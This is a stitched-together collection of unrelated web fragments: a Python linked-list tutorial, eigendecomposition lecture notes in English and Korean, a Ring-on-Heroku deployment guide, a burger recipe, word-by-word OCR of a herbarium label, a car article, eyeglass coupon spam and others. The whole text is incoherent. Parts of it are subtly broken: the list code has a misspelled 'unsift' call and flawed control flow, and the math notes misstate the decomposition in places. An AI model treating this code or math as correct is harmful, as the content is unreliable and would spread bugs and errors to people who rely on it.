while(popped_element.next):
new_tail = popped_element # keeps track of tail - pre
current = popped_element.next # keeps track of current - curernt - post
self.tail = new_tail
self.tail.next = None
self.length -= 1
return popped_element
# removing an element at the end of a doubly linked list
def pop(self):
if (self.head == None):
return None
popped_element = self.tail
if (self.length == 1):
self.head = None
self.tail = None
else:
self.tail = popped_element.prev
self.tail.next = None
popped_element.prev = None
self.length -= 1
return popped_element
Removing or Inserting Elements at a specific position
Because there is no notion of indices in linked lists, accessing elements as straightforward as in arrays or lists. As seen in singly lists, when removing an element from the end, we need to traverse the whole list starting from the head until we reach the wanted position. In doubly lists, this can be improved a bit by utilizing the previous propertry, which in this case will allow us to start traversing from the tail or the head of the list.
Here’s an example using singly lists
def Insert(self, idx, val):
# check edge cases
if (idx < 0 or idx > self.length):
return False
# If the user wants to insert at the beg. > call Push
if (idx == self.length):
self.push(val)
# If the user wants to insert at the beg. > call unshift
if (idx == 0):
self.unsift(val)
counter = 0
# Start at the head
current = self.head
# traveres until target
while (counter != idx):
current = current.next
counter += 1
# Create new element by invoking class Element
new_element = SinglyElement(val)
# Get the node before insertion position
pre_node = self.get(idx - 1)
# Store the .next of the previous element in a temporary variable
temp = pre_node.next
# point the .next of previous element to the new element
pre_node.next = new_element
# point new node's next to element on the right of the new node
new_element.next = temp
# increasing the length of the list by 1
self.length += 1
return True
```


Math Quiz
2 + 2 =
6 / 3 =
What is the square root of 16? =
5x5 =
5-3+12 =
2
4 =
200
4 =
5 + 5 / 5=
400/2 =
5000-6000 =


[1]
Clearly a hip marketing division; untrustworthy company.
[2]
Safe, expandable, reliable storage; None to mention


4.0 Introduction
-
Goal : We want to get a diagonalized matrix $D$ of a given matrix $A$ in the form of $ D = V^{-1}AV$ for some reasons such as computation resource.
-
The above diagonalization process is also called eigendecomposition ($A = VDV^{-1}$) because we can find the followings from above equation, $VD=AV$
-
$D$ is a diagonal matrix with eigenvalues in diagonal entries
-
$V$ is a matrix whose column vectors are eigenvectors
-
$A$ is a given square matrix $A \in \mathbb{R}^{n \times n}$
-
-
Consider the linear transformation $T(\mathbf{x}) = A \mathbf{x} = VDV^{-1} \mathbf{x} $, it can be seen to be a series of following transformation. (4.5.1+ 4.5.2 + 4.5.3)
-
Change of Basis
-
Element-wise Scaling
-
Back to Original Basis
-
4.1 Eigenvectors and Eigenvalues
-
An eigenvector of a square matrix $A \in \mathbb{R}^{n \times n}$ is a nonzero vector $\mathbf{x} \in \mathbb{R}^n$ such that $A \mathbf{x} = \lambda \mathbf{x}$ for some scalar $\lambda$. In this case $\mathbf{\lambda}$ is called an eigenvalue of $A$, and such an $\mathbf{x}$ is called an eigenvector.
-
$A \mathbf{x}$ can be considered as a linear transformation $T( \mathbf{x})$. If $\mathbf{x} $ is an eigenvector, then $T(x) = A \mathbf{x} = \lambda \mathbf{x} $, which means the output vector has the same direction as $\mathbf{x}$, but the length is scaled by a factor of $\lambda$
-
And here, $8 \begin{bmatrix} 1 \\ 1 \end{bmatrix} $ is faster than $ \begin{bmatrix} 2\ 6 \\ 5 \ 3 \end{bmatrix}\begin{bmatrix} 1\ 1 \end{bmatrix} $
-
The equation $A \mathbf{x} = \lambda \mathbf{x}$ can be re-written as $$(A-\lambda I)\mathbf{x}=\mathbf{0} $$
-
$\lambda$ is an eigenvalue of an $n \times n$ matrix $A$ if and only if this equation has a nontrivial solution. (since $\mathbf{x}$ should be a nonzero vector).
-
The set of all solutions of the above equation is the null space of the matrix $A-\lambda I$, which we call the eigenspace of A corresponding to $\lambda$
-
The eigenspace consists of the zero vector and all the eigenvectors corresponding to $\lambda$, satisfying the above equation.
- eigenvector는 정방행렬 $A$ 에 대하여 정의되는데 이때 $A$ 는 Linear Transform (scale, rotate, etc)으로 볼 수도 있다.
- 즉 어떤 선형변환 $A$ 의 eigenvector 는 선형변환 $A$를 적용했을때 방향은 변하지 않고 크기만 변하는 vector들을 의미하며 이 때, eigenvector 크기의 변화량을 eigenvalue라고 한다.
- For a given linear Transformation A, we can find vectors with the same direction and scaled length before and after transformation. we call these vectors as eigenvector, and the scaled factor $\lambda$ as eigenvalues.
4.2 Null Space
- Null Space : The null space of a matrix $A \in \mathbb{R}^{m\times n}$ is the set of all solutions of a homogeneous linear system, $A \mathbf{x = 0}$
- For $A = \begin{bmatrix} \mathbf{a_1^T} \\ … \\ \mathbf{a_m^T} \end{bmatrix}$, $\mathbf{x}$ should satify the following $ \mathbf{ a_1^Tx =a_2^Tx= … =a_m^Tx }=0$, That is, $\mathbf{x} $ should be orthogonal to every row vector in $A$
- Orthogonal Complement : The set of all vectors $\mathbf{z}$ that are orthogonal to $W$ is called the orthogonal complement of $W$ and is denoted by $W ^ \perp$.
- Null Space 란 선형방정식 $Ax = 0$ 의 해들이 이루는 공간. 즉, A 의 모든 열벡터에 대하여 orthogonal인 ($A\mathbb{x}=0$) 벡터 $\mathbf{x}$의 집합을 null space 라고 한다.
- Orthogonal Complement 는 주어진 subspace와 수직인 벡터들의 공간
4.3 Characteristic equation
$$(A - \lambda I) \mathbf{x = 0}$$
-
The set of all solutions of the above equation = null space of the matrix $(A - \lambda I)$ = eigenspace of $A$ corresponding to $\lambda$
-
The eigensapce consists of the zero vector and all the engienvectors corresponding to $\lambda$
-
How can we find the eigenvalues?
-
If $(A-\lambda I)\mathbf{x = 0}$ has a nontrivial solution, then the columns of $(A - \lambda I)$ should be noninvertible.
-
If it is invertible, $\mathbf{x}$ cannot be a nonzero vector since
$$ (A - \lambda I)^{-1} (A - \lambda I) \mathbf{x} = (A - \lambda I)^{-1} \mathbf{0} \longrightarrow \mathbf{x = 0} $$
- Thus, we can obtain eignevalues by solving characteristic equation :
$$ det(A - \lambda I) = 0$$
-
Also, the solution is not unique, and thus $A-\lambda I$ has linearly dependent columns.
-
Once obtaining eigenvalues, we compute the eigenvectors for each $\lambda$ by solving : $$ (A-\lambda I) \mathbf{x = 0}$$
-
Eigenspace : Note that the dimension of the eigenspace (corresponding to a particular $\lambda$) can be more than one. In this case, any vector in the eigenspace satisfies
$$ T\mathbf{(x)} = A \mathbf{(x)} = \lambda \mathbf{(x)}$$
-
In summary, we can find all the possible eigenvalues and eignevectors, as follows.
-
First, find all the eigenvalue by solving the characteristic equation : $ det(A-\lambda I) = 0$
-
Second, for each eigenvalue $\lambda$, solve for $(A-\lambda I) \mathbf{x=0}$ and obtain the set of basis vectors of the corresponding eigenspace.
- 우선 characteristic equation $ det(A-\lambda I) = 0$ 를 풀어 eigenvalue를 찾습니다.
- 이후 각각의 eigenvalue $\lambda$ 에 대하여 $(A-\lambda I) \mathbf{x=0}$ 를 풀어 eigenvector를 찾습니다.
즉, eigenvector가 존재하려면 Characteristic Equation이 Linearly Dependent 한 column을 가져야하며 이는 곧 $ det(A-\lambda I) = 0$ 가 역행렬을 갖지 않는다는 말과 같고 다시말해, Determinant가 0이 되어야합니다.
4.4 Diagonalization
-
Diagonal matrix : matrix in which the entries outside the main diagonal are all zero
-
Diagonalization : We want to change a given square matrix $A \in \mathbb{R}^{n\times n}$ into a diagonal matrix via the following form : $D = V^{-1} A V $
-
For $A$ to be diagonalizable, an invertible $V$ should exist such that $V^{-1}AV$
-
How can we find an invertible $V$ and the resulting diagonal matrix $D$
-
$V = [\mathbf{v_1, v_2 , … , v_n}]$ where $\mathbb{v_i}$ are column vectors of $V$
-
$D = diag[\lambda_1, \lambda_2 , … , \lambda_n ]$
$$ D = V^{-1}AV $$
$$ VD = AV$$
$$AV = A[ \mathbf{v_1, v_2 , … v_n }] = [A\mathbf{v_1}, A\mathbf{v_2},…, A\mathbf{v_n}], (\text{column vector matmul})$$
$$VD = [\lambda \mathbf{v_1},\lambda \mathbf{v_2}, … ,\lambda \mathbf{v_n}]$$
$$AV=VD \longleftrightarrow [A\mathbf{v_1}, A\mathbf{v_2},…, A\mathbf{v_n}] = [\lambda \mathbf{v_1},\lambda \mathbf{v_2}, … ,\lambda \mathbf{v_n}]$$
-
From above, we obtain
$$A \mathbf{v_1} = \lambda \mathbf{v_1}, A \mathbf{v_2} = \lambda \mathbf{v_2}, … , A \mathbf{v_n} = \lambda \mathbf{v_n}$$
-
Thus $\mathbf{v_1, v_2, … v_n} $ should be eigenvectors and $\lambda_1, \lambda_2, …. \lambda_n$ should be eigenvalues.
-
Then, For $VD = AV \longrightarrow D = V^{-1}AV$ to be true, $V$ should invertible.
-
In this case, the resulting diagonal matrix D has eigenvalues as diagonal entries
즉 대각화를 통해 얻어진 대각행렬은 해당행렬의 eigenvalue를 diagonal entries로 갖게됩니다.
- Diagonalizable matrix : For $V$ to be invertible, $V$ should be a square matrix in $\mathbb{R}^{n \times n}$, and $V$ should have $n$ linearly independent columns : Hence, $A$ should have $n$ linearly independent eigenvectors.
즉, 3x3 matrix 가 diagonalizable 하다면 3개의 linearly independent한 eigenvector를 찾을 수 있다.
4.5 Eigen-Decomposition and Linear Transfomation
-
Eigendecomposition : If $A$ is diagonalizable, we can write $A = V^{-1}DV$, and we can also write $A = VDV^{-1}$, which we call eigendecomposition of $A$. So, $A$ being diagonalizable is equilvalent to $A$ having Eigendecomposition.
-
Suppose $A$ is diagonalizable, thus having eigendecomposition $ A = VDV^{-1}$, Consider the linear transformation $T(\mathbf{x}) = A \mathbf{x}$, it can be seen to be a series of following transformation. (4.5.1+ 4.5.2 + 4.5.3)
$$T(\mathbf{x}) = A\mathbf{x} = VDV^{-1}\mathbf{x} = V(D(V^{-1}\mathbf{x}))$$
Diagonalizable $A$ 는 $VDV^{-1}$ 로 eigendecompostion이 가능하고, 이렇게 분해된 $V^{-1}, D, V$ 와의 matmul은 각각 기하학적으로 change of basis, Scaling, Back to original basis 를 순차적으로 시행하는것과 같다.
4.5.1 Change of Basis
- Let $\mathbf{y} = V^{-1}\mathbf{x}$ then $V \mathbf{y=x}$
- $\mathbf{y}$ is a new coordinate of $\mathbf{x}$ with respect to a new basis of eigenvectors {$\mathbf{v_1, v_2}$}
- https://angeloyeo.github.io/2020/12/07/change_of_basis.html
4.5.2 Element-wise and Dimension-Wise Scaling
-
$T(\mathbf{x}) = V(D(V^{-1}\mathbf{x})) = V(D\mathbf{y})$
-
Let $ z=D\mathbf{y}$. This computation is a simple Element-wise scaling of $\mathbf{y}$
즉 diagonal matrix 와의 곱은 계산상의 이점이 있다.
4.5.3 Back to Original Basis
-
$T(\mathbf{x}) = V(D\mathbf{y}) = Vz$
-
$z$ is still a coordinate based on the new basis $\mathbf{v_1, v_2}$
-
$Vz$ converts $z$ to another coordinates based on the original standard basis.
-
That is, $Vz$ is a linear combination of $\mathbf{v_1}$ and $\mathbf{v2}$ using the coefficient vector $z$.
-
That is,
$$Vz = \begin{bmatrix} \mathbf{v_1} \ \mathbf{v_2} \end{bmatrix} \begin{bmatrix} z_1 \ z_2 \end{bmatrix} = \mathbf{v_1}z_1 + \mathbf{v_2}z_2$$
즉, $T(x) = Ax$ 는 $V(D(V^{-1}x))$ 와 같이 다시 쓸 수 있고 이는 아래와 같이 해석할 수 있다
- $y=V^{-1}x$ : eigenvector들을 basis로 하는 새로운 좌표계를 구하고
- $z = Dy = D(V^{-1}x)$ : Element 별로 따로따로 eigenvalue를 곱하여 간단하게 계산하는 scaling 을 해주고
- $Vz = V(D(V^{-1}x))$ : 다시 원래 좌표계로 복원함
이렇게 복잡한 작업을 굳이 하는 이유는 4.5.4와 같이 계산상의 이점 때문입니다.
Example : $A = VDV^{-1} = \begin{bmatrix} 3&{-2}\\ 1&1 \end{bmatrix} \begin{bmatrix} -1&0\\ 0&2 \end{bmatrix}\begin{bmatrix} 3&{-2}\\ 1&1 \end{bmatrix}^{-1}, \text{ and } \bf{x}=\begin{bmatrix} 4\\ 3 \end{bmatrix} $
$$ y = \begin{bmatrix} 3&{-2}\\ 1&1 \end{bmatrix}^{-1}\begin{bmatrix} 4\\ 3 \end{bmatrix} = \begin{bmatrix} 2\\ 1 \end{bmatrix} $$
$$ z = \begin{bmatrix} -1 & 0\\ 0 &2 \end{bmatrix} \begin{bmatrix} 2\\ 1 \end{bmatrix} = \begin{bmatrix} -2\\ 2 \end{bmatrix}$$
$$ Vz = \begin{bmatrix} 3&{-2}\\ 1&1 \end{bmatrix}\begin{bmatrix} -2\\ 2 \end{bmatrix} = \begin{bmatrix} -10\\ 0 \end{bmatrix} $$
4.5.4 Linaer Transformation via $A^k$
-
Now, consider recursive transformation $A \times A \times A … \times A \mathbf{x} = A^k \mathbf{x} $
-
If $A$ is diagonalizable, $A$ has Eigendecomposition
$$ A = VDV^{-1}$$
$$ A^k = (VDV^{-1})(VDV^{-1})(VDV^{-1})…(VDV^{-1}) = (VD{^k}V^{-1})$$
-
Here, $D^k$ is simply computed as $diag[\lambda_1^k, \lambda_2^k… , \lambda_n^k]$
-
It is much faster to compute $V(D^k(V^{-1}\mathbf{x}))$ than to compute $A^k \mathbf{x}$
4.6 Summary So Far
-
Eigenvalue and Eigenvectors
-
Null space, Column space, and orthogonal complement in $\mathbb{R}^n$
-
Diagonalization and Eigendecomposition
-
Linear transforamtion via eigendecomposition


- Power your
- java apps
- with
- event sourcing
Thoth is a Java library which provides a toolkit to implement Event Sourcing in your application.
Features
- Handle event journal
- Kafka publish garanty
- Two type of projections: transactional or eventually consistent
- Based on Kafka, Vavr and Akka Streams
- Reactive postgresql implementation
Built-in journal
that stores every events
Guarantee
that every event will eventually be published in Kafka
Projections
Eventual consistent or in transaction


Jack VM Player
The Nand2Tetris Virtual Machine running on the web
Restart
Stop
// Updates RAM[256] with 8 + 6 = 14. push constant 8 push constant 6 add
REGISTERS
SP
0
ARG
0
LCL
0
THIS
0
THAT
0
STACK
This page contains webassembly and javascript content, please enable javascript in your browser.


I tried a bunch of different combinations of crowdsourcing and the Semantic Scholar corpus before landing on this one. For example, normalizing failure — what were our least cited papers in grad school? Or experimenting with normalized citation counts for CHI as per the bibliometrics literature. But ultimately I went with a simple one: who knew each other in graduate school?
Here are the results, HCI edition: Who did your advisor know in grad school?
We often forget that our academic heroes were once graduate students too, and that many of them got to know each other back as young'ins. I didn't know, for example, that my Stanford colleague James Landay graduated the same year as Paul Dourish, or that the HCI superstar graduation rate started skyrocketing in the late 90's.
I created an initial set of people to tag by looking at the Semantic Scholar corpus for coauthors on at least 15 CHI, UIST, UbiComp or CSCW papers. It's a rough and inaccurate index, I know, but gave me enough to get started. I then asked workers on Daemo to search the web for these authors' curriculum vitaes or other information that would indicate when they finished their PhDs. Finally, I linked it back to the Semantic Scholar corpus to identify, for each author, the highest-cited paper they published before they finished their PhDs.
Please add yourself via the spreadsheet if you'd like!
Feel free to ping me at<EMAIL_ADDRESS>or @msbernst. If you'd like to get access to Daemo to try it out while we finish developing it as a research crowdsourcing platform, let me know. Thanks to Daemo workers Scott, GB, and JS70 for their contributions to this project!


#include <BL3_Engine_structs.hpp>
◆ bColorBordersGreen
| unsigned char bColorBordersGreen |
◆ bColorByExecutionTime
| unsigned char bColorByExecutionTime |
◆ bDebugMaterials
| unsigned char bDebugMaterials |
◆ bDebugMode
◆ bDebugPaddings
| unsigned char bDebugPaddings |
◆ bDumpBinaryFiles
| unsigned char bDumpBinaryFiles |
◆ bGatherBSPSurfacesAcrossComponents
| unsigned char bGatherBSPSurfacesAcrossComponents |
◆ bImmediateProcessMappings
| unsigned char bImmediateProcessMappings |
◆ bOnlyCalcDebugTexelMappings
| unsigned char bOnlyCalcDebugTexelMappings |
◆ bPadMappings
| unsigned char bPadMappings |
◆ bSortMappings
| unsigned char bSortMappings |
◆ bStatsEnabled
| unsigned char bStatsEnabled |
◆ bUseImmediateImport
| unsigned char bUseImmediateImport |
◆ bUseRandomColors
| unsigned char bUseRandomColors |
◆ CoplanarTolerance
◆ ExecutionTimeDivisor
| float ExecutionTimeDivisor |
◆ UnknownData00
| unsigned char UnknownData00[0x3] |
◆ UnknownData01
| unsigned char UnknownData01[0x2] |


Welcome to the Demonstrations of PHP Web Services
This place will be allocted to demonstrate the power of Web Services in PHP using the WSO2 Web Services Framework for PHP.. Here you can navigate through the list of demonstrations, try them and view their source codes.


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Total Sales
Total Comment
| Project & Task | Time Spents |
|---|---|
UUI Design |
4 : 36 |
RRedesign Android App |
4 : 36 |
LLogo Design |
4 : 36 |
AAppestia landing Page |
4 : 36 |
LLogo Design |
4 : 36 |
Lorem Ipsum is simply dummy text of the printing and typesetting industry.
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Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text.
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text.
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text.
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READING
LISTENING
HOME
Hint: Click on any letter to get a clue picture and carry on naming the landmark:)
CHECK MEMORY TEST NEXT


// Single line comment
/* Block comment
on multiple lines */
<Supersede> // marks an instance member as overriding a superclass
int x = 1;
double y = 1.1;
String s1 = 'Strings allow single quotes';
String s2 = "as well as double quotes";
var s2 = 'Birb strings are
multiline by default';
class Birb {
final String name;
int age = 19;
void construct(String newName){
nest.name = newName;
}
}
Birb.construct('Yoko');
screm(Birb.name);


I create 3D assets for any situation.
Have existing prefabs that need to be optimized? I've got it covered.
Models don't look good without great textures.
Need a scene built? I'm your guy.
Ready to start your next project with me? That's great! Give me a call or send me an email and I will get back to you as soon as possible!
815-289-7103


A set of tools for the peak filtering of mass spectrometry imaging data (MSI or IMS) based on spatial distribution of signal. Given a region-of-interest (ROI), representing the spatial region where the informative signal is expected to be localized, a series of filters determine which peak signals are characterized by an implausible spatial distribution. The filters reduce the dataset dimensionality and increase its information vs noise ratio, improving the quality of the unsupervised analysis results, reducing data dimensionality and simplifying the chemical interpretation.
| Version: | 1.1.1 |
| Depends: | R (≥ 3.4.0) |
| Imports: | e1071, spatstat, viridis, SDMTools, ggplot2, reshape, imager, methods, infotheo, parallel |
| Published: | 2018-10-25 |
| Author: | Paolo Inglese [aut, cre], Goncalo Correia [aut, ctb] |
| Maintainer: | Paolo Inglese <p.inglese14 at imperial.ac.uk> |
| BugReports: | https://github.com/paoloinglese/SPUTNIK/issues |
| License: | GPL (≥ 3) |
| URL: | https://github.com/paoloinglese/SPUTNIK |
| NeedsCompilation: | no |
| Materials: | NEWS |
| CRAN checks: | SPUTNIK results |
| Reference manual: | SPUTNIK.pdf |
| Package source: | SPUTNIK_1.1.1.tar.gz |
| Windows binaries: | r-devel: SPUTNIK_1.1.1.zip, r-release: SPUTNIK_1.1.1.zip, r-oldrel: SPUTNIK_1.1.1.zip |
| OS X binaries: | r-release: SPUTNIK_1.1.1.tgz, r-oldrel: SPUTNIK_1.1.1.tgz |
| Old sources: | SPUTNIK archive |
Please use the canonical form https://CRAN.R-project.org/package=SPUTNIK to link to this page.


Deploying Web Applications in the Cloud¶
In this chapter we will learn about deploying Ring Web Applications in the Cloud using Heroku
Introduction¶
We created a new project and tutorial to explain how to deploy Ring web applications in the Cloud using Heroku
Demo : http://testring.herokuapp.com/
Project : https://github.com/ring-lang/RingWebAppOnHeroku
Heroku Website : https://www.heroku.com/
Usage¶
To use this project and deploy it on Heroku
- Create Heroku account
- Open your Heroku account and create new application
Example : testring
Note (You have to select a unique name for your application)
- Open the command prompt, Create new folder : MyApp
md MyApp
- Open the application folder
cd MyApp
- Clone this projet using Git (Don’t forget the dot in the end to clone in the current directory)
git clone https://github.com/ring-lang/RingWebAppOnHeroku .
- Login to Heroku (Enter your Email and Password)
heroku login
- Add heroku (remote) to your Git project
change testring to your application name
heroku git:remote -a testring
- Set the buildpacks (So Heroku can know how to support your project)
heroku buildpacks:add --index 1 https://github.com/ring-lang/heroku-buildpack-apt
heroku buildpacks:add --index 2 https://github.com/ring-lang/heroku-buildpack-ring
- Now build your project and deploy it
git push heroku master
- Test your project (In the browser)
heroku open
Ring source code files and permissions¶
To be able to run your new Ring scripts, Set the permission of the file to be executable using Git
For example, if you created a file : myscript.ring
git update-index --chmod=+x myscript.ring
git commit -m "Update file permission"
If you are using TortoiseGit, From windows explorer, select the file
Right click —> Properties —> Git —> Executable (+x)
Then commit and deploy!
Hello World program¶
file : ringapp/helloworld.ring
To run it : http://testring.herokuapp.com/ringapp/helloworld.ring
#!/app/runring.sh -cgi
see "content-type: text/html" +nl+nl
see "Hello, World!" + nl
file : ringapp/helloworld2.ring
To run it : http://testring.herokuapp.com/ringapp/helloworld2.ring
#!/app/runring.sh -cgi
load "weblib.ring"
import System.Web
new page {
text("Hello, World!")
}
Application Database¶
When you depoly the application, Everything will works directly!
No change is required, but in practice, You will need to update the next files to use your database
There are two scripts to interact with the database (We are using PostgreSQL in the cloud)
You will need to update the connection string in these files if you will use another database
- file: ringapp/database/newdb.ring (We run it using the browser for one time to create the tables)
- file: ringapp/datalib.ring (Class: Database)
In your practical projects, You can write better code (To be able to change the database)
Also you can create configuration file (To write the connection string in one place)
Database service : https://www.heroku.com/postgres
Deploying after updates¶
Just use Git and commit then push to heroku
file: build.bat contains the next commands for quick tests
git add .
git commit -m "Update RingWebAppOnHeroku"
git push heroku master
heroku open
Local Tests¶
Local tests using Ring Notepad on Windows (Using local Apache Web Server)
Replace the first line in the file : ringapp/index.ring with
#!ring -cgi
Then run it from Ring Notepad (Ctrl+F6)


Dates and times are a very common data type to display in a DataTable, but they can also be complicated to handle correctly. DataTables provides helper functions to control the formatting of date/times and so you can specify the format that your data is in.


Preparation time
less than 30 mins
Cooking time
less than 10 mins
Serves
Serves 4
This is the perfect burger. The beauty is in its simplicity – just chuck steak and a little seasoning.
Make sure the meat is well chilled – if you freeze it, then let it thaw partially, you’ll find it much easier to cut. Put it through a coarse mincer, or chop it very finely by hand. It should be fine enough to stick together when you squeeze a handful. Add the bone marrow, if using.
Season the steak with salt and a little black pepper, then divide the mixture into four and shape each one into a round pattie 2–2.5cm/¾–1in thick. The mincing and chopping will help bring the meat to room temperature, but if it’s still cold, leave the burgers to stand for a while.
For the burger sauce, mix together all the ingredients in a bowl.
Heat a frying pan or your barbecue.  Cook for 4 minutes, or until the burgers are well seared and have a thick crust. Flip them and cook for another 3 minutes for rare meat, 4 minutes for medium-rare, 5 for medium and up to 6 for well done. Serve with the burger sauce.


An example to show stacks, queues, and behaviour concerning when the two interact.
Uses an example showing the following combinations of ADTs:


?New
York
Botanical
Garden
lfc24771
JARDIN
BOTANICO
NACIONAL
"DR.
RAFAEL
M.
MOSCOSO"
SANTO
DOMINGO,
REPUBLICA
DOMIN
ICANA
16365A
NO__cam,,
ia
Gentianaceae__
Schultesia
brachyptera
Cham.
Det.
6-1982
Corolla
red-purple;
in
wet
ditch
along
entry
road
at
Balneario.
Repblica
Dominicana:Prov.San
Cristobal:About
3
km.
due
east
from
town
of
Bayaguana,
at
Balneario
Comate
on
Rio
Comate:
riparian
woodland
very
little
Schultesia
brachyptera
Cham.
natural
understory
plants
at
falls
on
river,
bath
houses
and
bar
on
Det.-rev.
M.
Thiv
(B)
2001
one
side.
18
”
4
6'N,
6
9
”
3
6'W,
alt.
20-40m.
September
3,
1981.
T.
Zanoni,
M.
Mejia.
Schultesia
hetenophylla
Miq.
det.
R.L.
Wilbur
1993
Duke
University
Herbarium
1624779
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


Buick Encore GX Fills The Gap Between Encore And Envision
And it looks pretty handsome.
by Jared RosenholtzBuick already revealed its latest crossover, the Encore GX, to the Chinese market before announcing it would also be coming to the United States. Now Buick has released all of the details on the Encore GX ahead of its US debut at the 2019 Los Angeles Auto Show. Despite having 'Encore' in its name, the GX is actually a completely new crossover for Buick that doesn't share much (if anything) in common with the smaller Encore. It's actually based on a new platform, which is shared with the upcoming 2021 Chevrolet Trailblazer.
"Premium SUV buyers are looking for features that fit their lifestyle priorities, and Buick is giving customers more segment choices with our new Encore GX," said Duncan Aldred, vice president, Global Buick and GMC. "As we look to the future of Buick, and customer demand trends, our four-SUV portfolio puts us in a strong competitive position across the most popular SUV segments.
Under the hood of the Encore GX sits either a 1.2-liter turbo or 1.3-liter turbocharged engine, both of which have only three cylinders. The former produces 137 horsepower and 166 lb-ft of torque while the latter produces 155 hp and 174 lb-ft of torque. Both engines will be mated to a continuously variable transmission in FWD guise while the 1.3-liter AWD model gets a nine-speed automatic. GM estimates the larger engine will achieve up to 31 mpg combined.
All Encore GX models include Forward Collision Alert, Automatic Emergency Braking, Front Pedestrian Braking, Lane Keep Assist with Lane Departure Warning, a Following Distance Indicator, and IntelliBeam headlamps with automatically-adjusting high/low beams. Optional equipment includes Rear Park Assist, Rear Cross-Traffic Alert, Lane Change Alert, Rear Camera Mirror, Hands-Free Power Liftgate, Adaptive Cruise Control, Head-Up Display, Automatic Parking Assist, and a High Definition Surround Vision camera system.
"Filling the spot between the smaller Encore and the larger Envision and Enclave models, the Encore GX is another proof point that Buick is The Premium SUV Brand. Just as we did with the Enclave in 2008 and the Encore in 2013, we identified a growing market niche and moved quickly to introduce a new vehicle to fill it," Aldred added.
The Encore GX is slightly larger than the Encore with 94.3 cubic feet of passenger space and 25.3 cubic feet of cargo space behind the second row. Buick says the GX also includes a standard, adjustable two-stage load floor, and a 40/60 split-folding second row. The Encore GX is set to arrive in North America in early 2020. Base models include 18-inch aluminum wheels but buyers can also opt for the Sport Touring package with exclusive wheels, body-color surrounds, and a black mesh grille with red accents. Full pricing information should be revealed prior to launch.


  We have the best 39 Dollar Glasses Rebate anywhere. thesis_keywords: 39 Dollar Glasses, 39 Dollar Glasses Coupon Code, 39 Dollar Glasses Discount, 39 Dollar Glasses Rebate product_name: 39 Dollar Glasses hop_url: http://www.icouponblog.com/hop.php?id=3940 ---
You can have the best quality eye glasses, sunglasses or reading glasses just for $39. Visit 39 Dollar Glasses online to check it out. You no longer have to spend a lot of money on expensive eye glasses. Check out www.39dollarglasses.com and choose from a wide array of high quality, finished prescription glasses only for $39. You will love the product and the price. Use our discount coupons to get the best prices on the best product.
39dollarglasses.com was developed by eye doctors so that everyone to acquire glasses at an affordable price. When you shop at 39dollarglasses.com the only thing you will give up is high prices. Get the best, stylish, attractive and high quality glasses today, shop at 39dollarglasses.com online. They have huge inventories and buy in bulk that is why 39dollarglasses gets a volume discounts. They are able to pass on that discounts to you. Also, they are an online store, so they save money on the overheads. They use the only the best polycarbonate lenses; the lightest, most impact-resistant material. With an index of refraction of 1.59, they are much thinner than standard (CR39) optical lenses. They also come with both 100% UV and tough scratch-resistant coatings applied to both sides of the lenses. You will get all this and more when you purchase your eyewear from 39dollarglasses.com.
Buy progressive lenses, or sunglasses or eye glasses from 39dollarglasses.com. You can also get rimless or semi rimless, bi focal, contact lenses, metal or titanium bendable glasses. There is so much waiting for you at 39dollarglasses.com, including great discounts. Check it out now and use our discount coupons to save lots of money.


We provide a number of ready-made tools for processing your data. At the moment, small datasets can be uploaded to our servers and processed online; for larger datasets, we provide an API script that can be downloaded (you will also need to install our Perl API to use these).
In the near future we aim to offer an intermediate service, whereby medium-to-large data sets can be submitted to a queue, similar to BLAST.
Currently available:
[[SCRIPT::EnsEMBL::Web::Document::HTML::ToolsTable]]


See: Description
| Class | Description |
|---|---|
| AbstractList |
The parent class of
NodeList and HTMLCollection . |
| Attr |
A JavaScript object for
Attr . |
| CDATASection |
A JavaScript object for
CDATASection . |
| CharacterData |
A JavaScript object for
CharacterData . |
| Comment |
A JavaScript object for
Comment . |
| CustomElementRegistry |
A JavaScript object for
CustomElementRegistry . |
| Document |
A JavaScript object for
Document . |
| DocumentFragment |
A JavaScript object for
DocumentFragment . |
| DocumentType |
A JavaScript object for
DocumentType . |
| DOMCursor |
A JavaScript object for
DOMCursor . |
| DOMError |
A JavaScript object for
DOMError . |
| DOMException |
Exception for DOM manipulations.
|
| DOMImplementation |
A JavaScript object for
DOMImplementation . |
| DOMMatrix |
A JavaScript object for
DOMMatrix . |
| DOMMatrixReadOnly |
A JavaScript object for
DOMMatrixReadOnly . |
| DOMParser |
A JavaScript object for
DOMParser . |
| DOMPoint |
A JavaScript object for
DOMPoint . |
| DOMPointReadOnly |
A JavaScript object for
DOMPointReadOnly . |
| DOMRectReadOnly |
A JavaScript object for
DOMRectReadOnly . |
| DOMRequest |
A JavaScript object for
DOMRequest . |
| DOMSettableTokenList |
A JavaScript object for
DOMSettableTokenList . |
| DOMStringList |
A JavaScript object for
DOMStringList . |
| DOMStringMap |
A JavaScript object for
DOMStringMap . |
| DOMTokenList |
A JavaScript object for
DOMTokenList . |
| IdleDeadline |
A JavaScript object for
IdleDeadline . |
| MediaList |
A JavaScript object for
MediaList . |
| MutationObserver |
A JavaScript object for
MutationObserver . |
| MutationRecord |
A JavaScript object for
MutationRecord . |
| Node |
The JavaScript object
Node which is the base class for all DOM
objects. |
| NodeFilter |
A JavaScript object for
NodeFilter . |
| NodeIterator |
A JavaScript object for
NodeIterator . |
| NodeList |
An array of elements.
|
| ProcessingInstruction |
A JavaScript object for
ProcessingInstruction . |
| RadioNodeList |
A JavaScript object for
RadioNodeList . |
| Range |
The JavaScript object that represents a Range.
|
| Selection |
A JavaScript object for
Selection . |
| ShadowRoot |
A JavaScript object for
ShadowRoot . |
| Text |
A JavaScript object for
Text . |
| TextRange |
A JavaScript object for
TextRange (IE only). |
| TreeWalker |
The JavaScript object that represents a
TreeWalker . |
| WebKitMutationObserver |
A JavaScript object for
WebKitMutationObserver . |
| XPathEvaluator |
A JavaScript object for
XPathEvaluator . |
| XPathNSResolver |
A JavaScript object for
XPathNSResolver . |
| XPathResult |
A JavaScript object for
XPathResult . |
| Enum | Description |
|---|---|
| AbstractList.EffectOnCache |
Cache effect of some changes.
|
Copyright © 2002–2019 Gargoyle Software Inc.. All rights reserved.


Registration Form
First name
Last Name
Male
Female
Other
Email
Password
January
February
March
April
May
June
July
August
September
October
November
December
Month
Money
January
200589.0$
April
